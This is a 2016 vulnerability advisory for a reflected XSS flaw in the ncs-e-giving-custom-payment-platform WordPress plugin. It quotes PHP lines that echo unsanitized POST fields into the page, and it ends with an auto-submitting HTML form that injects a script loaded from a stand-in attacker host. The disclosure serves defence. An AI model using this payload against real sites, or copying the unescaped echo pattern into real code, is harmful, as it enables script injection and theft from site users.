Advisory #: 1191
Title: Reflected XSS in wordpress plugin ncs-e-giving-custom-payment-platform v1.01
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/ncs-e-giving-custom-payment-platform
Downloads: 127
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: ncs-e-giving-custom-payment-platform
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./ncs-e-giving-custom-payment-platform/themefiles/cp-create-account.php: 212: <input type="text" class="validate[required]" id="fname" name="fname" placeholder="First Name" value="<?php echo $_POST["fname"]; ?>" /> 215: <input type="text" class="validate[required]" id="lname" name="lname" placeholder="Last Name" value="<?php echo $_POST["lname"]; ?>" /> 218: <input type="text" class="validate[required]" id="address1" name="address1" placeholder="Address" value="<?php echo $_POST["address1"]; ?>" /> 221: <input type="text" class="" id="address2" name="address2" placeholder="Address" value="<?php echo $_POST["address2"]; ?>" /> 224: <input type="text" class="validate[required]" id="city" name="city" placeholder="City" value="<?php echo $_POST["city"]; ?>" /> 243: <input type="text" class="validate[required,custom[CustomZip]]" id="zip" name="zip" placeholder="Zip" value="<?php echo $_POST["zip"]; ?>" /> 248: <input type="text" class="validate[required,custom[usernameR]]" id="username" name="username" placeholder="User Name" value="<?php echo $_POST["username"]; ?>" /> 251: <input type="password" class="validate[required,minSize[8],custom[usernameR]]" id="password" name="password" placeholder="Password" value="<?php echo $_POST["password"]; ?>" /> 254: <input type="password" class="validate[required,equals[password],custom[usernameR]] " id="cpassword" name="cpassword" placeholder="Password" value="<?php echo $_POST["cpassword"]; ?>" /> 257: <input type="text" class="validate[required,custom[email]]" id="email" name="email" placeholder="Email Address" value="<?php echo $_POST["email"]; ?>" /> 260: <input type="text" class="validate[required,minSize[10],custom[phone]]" id="phone" name="phone" placeholder="Phone Number" value="<?php echo $_POST["phone"]; ?>" /> The variables fname,email,lname,password,cpassword,city,address and address2 appear to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./ncs-e-giving-custom-payment-platform/themefiles/cp-create-account.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/ncs-e-giving-custom-payment-platform/themefiles/cp-create-account.php method=post> <input type=hidden name=fname value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>